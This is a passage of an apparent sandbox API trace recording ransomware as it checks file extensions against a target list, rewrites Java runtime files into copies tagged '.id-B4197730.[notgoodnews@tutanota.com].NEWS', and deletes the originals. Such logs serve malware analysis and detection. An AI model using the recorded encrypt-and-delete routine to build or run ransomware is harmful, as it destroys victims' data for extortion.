lpString2=".exe") returned 1 [0092.568] lstrlenW (lpString=".xlsx") returned 5 [0092.568] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0092.568] lstrlenW (lpString=".ppt") returned 4 [0092.568] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.568] lstrlenW (lpString=".zip") returned 4 [0092.568] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.568] lstrlenW (lpString=".rar") returned 4 [0092.568] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.568] lstrlenW (lpString=".bz2") returned 4 [0092.568] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.568] lstrlenW (lpString=".7z") returned 3 [0092.568] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.568] lstrlenW (lpString=".dbf") returned 4 [0092.568] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.568] lstrlenW (lpString=".1cd") returned 4 [0092.568] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.568] lstrlenW (lpString=".jpg") returned 4 [0092.568] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.568] lstrlenW (lpString=".doc") returned 4 [0092.568] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.568] lstrlenW (lpString=".docx") returned 5 [0092.569] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0092.569] lstrlenW (lpString=".pdf") returned 4 [0092.569] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.569] lstrlenW (lpString=".xls") returned 4 [0092.569] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.569] lstrlenW (lpString=".xlsx") returned 5 [0092.569] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0092.569] lstrlenW (lpString=".ppt") returned 4 [0092.569] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.569] lstrlenW (lpString=".zip") returned 4 [0092.569] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.569] lstrlenW (lpString=".rar") returned 4 [0092.569] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.569] lstrlenW (lpString=".bz2") returned 4 [0092.569] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.569] lstrlenW (lpString=".7z") returned 3 [0092.569] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.569] lstrlenW (lpString=".dbf") returned 4 [0092.569] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.569] lstrlenW (lpString=".1cd") returned 4 [0092.569] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0092.569] lstrlenW (lpString=".jpg") returned 4 [0092.569] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.569] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.569] lstrlenW (lpString="prism_common.dll") returned 16 [0092.569] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0092.570] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=57408) returned 1 [0092.570] CloseHandle (hObject=0x2c4) returned 1 [0092.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0092.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.570] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0092.570] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.570] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.570] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0092.571] GetLastError () returned 0x0 [0092.571] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0xe040, lpOverlapped=0x0) returned 1 [0092.845] WriteFile (in: hFile=0x390, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xe050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xe050, lpOverlapped=0x0) returned 1 [0092.890] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.890] WriteFile (in: hFile=0x390, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf4, lpOverlapped=0x0) returned 1 [0092.891] SetEndOfFile (hFile=0x390) returned 1 [0092.910] CloseHandle (hObject=0x390) returned 1 [0092.910] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.912] SetEndOfFile (hFile=0x2c4) returned 1 [0092.977] CloseHandle (hObject=0x2c4) returned 1 [0092.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.978] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 1 [0092.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.978] lstrlenW (lpString=".doc") returned 4 [0092.978] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.978] lstrlenW (lpString=".docx") returned 5 [0092.978] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0092.978] lstrlenW (lpString=".pdf") returned 4 [0092.978] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.978] lstrlenW (lpString=".xls") returned 4 [0092.978] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.978] lstrlenW (lpString=".xlsx") returned 5 [0092.978] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0092.978] lstrlenW (lpString=".ppt") returned 4 [0092.978] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.978] lstrlenW (lpString=".zip") returned 4 [0092.978] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.978] lstrlenW (lpString=".rar") returned 4 [0092.978] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.978] lstrlenW (lpString=".bz2") returned 4 [0092.978] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.978] lstrlenW (lpString=".7z") returned 3 [0092.978] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.979] lstrlenW (lpString=".dbf") returned 4 [0092.979] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.979] lstrlenW (lpString=".1cd") returned 4 [0092.979] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.979] lstrlenW (lpString=".jpg") returned 4 [0092.979] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.979] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.979] lstrlenW (lpString=".doc") returned 4 [0092.979] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.979] lstrlenW (lpString=".docx") returned 5 [0092.979] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0092.979] lstrlenW (lpString=".pdf") returned 4 [0092.979] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.979] lstrlenW (lpString=".xls") returned 4 [0092.979] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.980] lstrlenW (lpString=".xlsx") returned 5 [0092.980] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0092.980] lstrlenW (lpString=".ppt") returned 4 [0092.980] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.980] lstrlenW (lpString=".zip") returned 4 [0092.980] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.980] lstrlenW (lpString=".rar") returned 4 [0092.980] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.980] lstrlenW (lpString=".bz2") returned 4 [0092.980] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.980] lstrlenW (lpString=".7z") returned 3 [0092.980] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.980] lstrlenW (lpString=".dbf") returned 4 [0092.980] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.980] lstrlenW (lpString=".1cd") returned 4 [0092.980] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.980] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0092.980] lstrlenW (lpString=".jpg") returned 4 [0092.980] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.980] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0092.980] lstrlenW (lpString="servertool.exe") returned 14 [0092.980] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0092.981] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=16448) returned 1 [0092.981] CloseHandle (hObject=0x2c4) returned 1 [0092.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0092.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.982] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0092.982] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.982] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.982] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0092.982] GetLastError () returned 0x0 [0092.982] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x4040, lpOverlapped=0x0) returned 1 [0092.984] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4050, lpOverlapped=0x0) returned 1 [0092.985] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.985] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf0, lpOverlapped=0x0) returned 1 [0092.985] SetEndOfFile (hFile=0x388) returned 1 [0092.985] CloseHandle (hObject=0x388) returned 1 [0092.985] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.985] SetEndOfFile (hFile=0x2c4) returned 1 [0092.986] CloseHandle (hObject=0x2c4) returned 1 [0092.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0092.986] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 1 [0092.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.987] lstrlenW (lpString=".doc") returned 4 [0092.987] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.987] lstrlenW (lpString=".docx") returned 5 [0092.987] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0092.987] lstrlenW (lpString=".pdf") returned 4 [0092.987] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.987] lstrlenW (lpString=".xls") returned 4 [0092.987] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.987] lstrlenW (lpString=".xlsx") returned 5 [0092.987] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0092.987] lstrlenW (lpString=".ppt") returned 4 [0092.987] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.987] lstrlenW (lpString=".zip") returned 4 [0092.987] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.987] lstrlenW (lpString=".rar") returned 4 [0092.987] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.987] lstrlenW (lpString=".bz2") returned 4 [0092.987] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.987] lstrlenW (lpString=".7z") returned 3 [0092.987] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.987] lstrlenW (lpString=".dbf") returned 4 [0092.987] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.987] lstrlenW (lpString=".1cd") returned 4 [0092.987] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.987] lstrlenW (lpString=".jpg") returned 4 [0092.987] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.988] lstrlenW (lpString=".doc") returned 4 [0092.988] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0092.988] lstrlenW (lpString=".docx") returned 5 [0092.988] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0092.988] lstrlenW (lpString=".pdf") returned 4 [0092.988] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0092.988] lstrlenW (lpString=".xls") returned 4 [0092.988] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0092.988] lstrlenW (lpString=".xlsx") returned 5 [0092.988] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0092.988] lstrlenW (lpString=".ppt") returned 4 [0092.988] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0092.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.988] lstrlenW (lpString=".zip") returned 4 [0092.988] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0092.988] lstrlenW (lpString=".rar") returned 4 [0092.988] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0092.988] lstrlenW (lpString=".bz2") returned 4 [0092.988] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0092.988] lstrlenW (lpString=".7z") returned 3 [0092.988] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0092.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.988] lstrlenW (lpString=".dbf") returned 4 [0092.988] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0092.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.988] lstrlenW (lpString=".1cd") returned 4 [0092.988] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0092.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0092.988] lstrlenW (lpString=".jpg") returned 4 [0092.988] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0092.988] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0092.988] lstrlenW (lpString="splashscreen.dll") returned 16 [0092.989] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0092.989] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=204864) returned 1 [0092.989] CloseHandle (hObject=0x2c4) returned 1 [0092.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0092.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.989] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0092.989] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.989] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.989] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0092.990] GetLastError () returned 0x0 [0092.990] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x32040, lpOverlapped=0x0) returned 1 [0092.995] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x32050, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x32050, lpOverlapped=0x0) returned 1 [0092.999] ReadFile (in: hFile=0x2c4, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.999] WriteFile (in: hFile=0x388, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf4, lpOverlapped=0x0) returned 1 [0092.999] SetEndOfFile (hFile=0x388) returned 1 [0092.999] CloseHandle (hObject=0x388) returned 1 [0092.999] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.999] SetEndOfFile (hFile=0x2c4) returned 1 [0093.001] CloseHandle (hObject=0x2c4) returned 1 [0093.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.001] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 1 [0093.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.002] lstrlenW (lpString=".doc") returned 4 [0093.002] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.002] lstrlenW (lpString=".docx") returned 5 [0093.002] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0093.002] lstrlenW (lpString=".pdf") returned 4 [0093.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.002] lstrlenW (lpString=".xls") returned 4 [0093.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.002] lstrlenW (lpString=".xlsx") returned 5 [0093.002] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0093.002] lstrlenW (lpString=".ppt") returned 4 [0093.002] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.002] lstrlenW (lpString=".zip") returned 4 [0093.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.002] lstrlenW (lpString=".rar") returned 4 [0093.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.002] lstrlenW (lpString=".bz2") returned 4 [0093.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.002] lstrlenW (lpString=".7z") returned 3 [0093.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.002] lstrlenW (lpString=".dbf") returned 4 [0093.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.002] lstrlenW (lpString=".1cd") returned 4 [0093.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.002] lstrlenW (lpString=".jpg") returned 4 [0093.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0093.003] lstrlenW 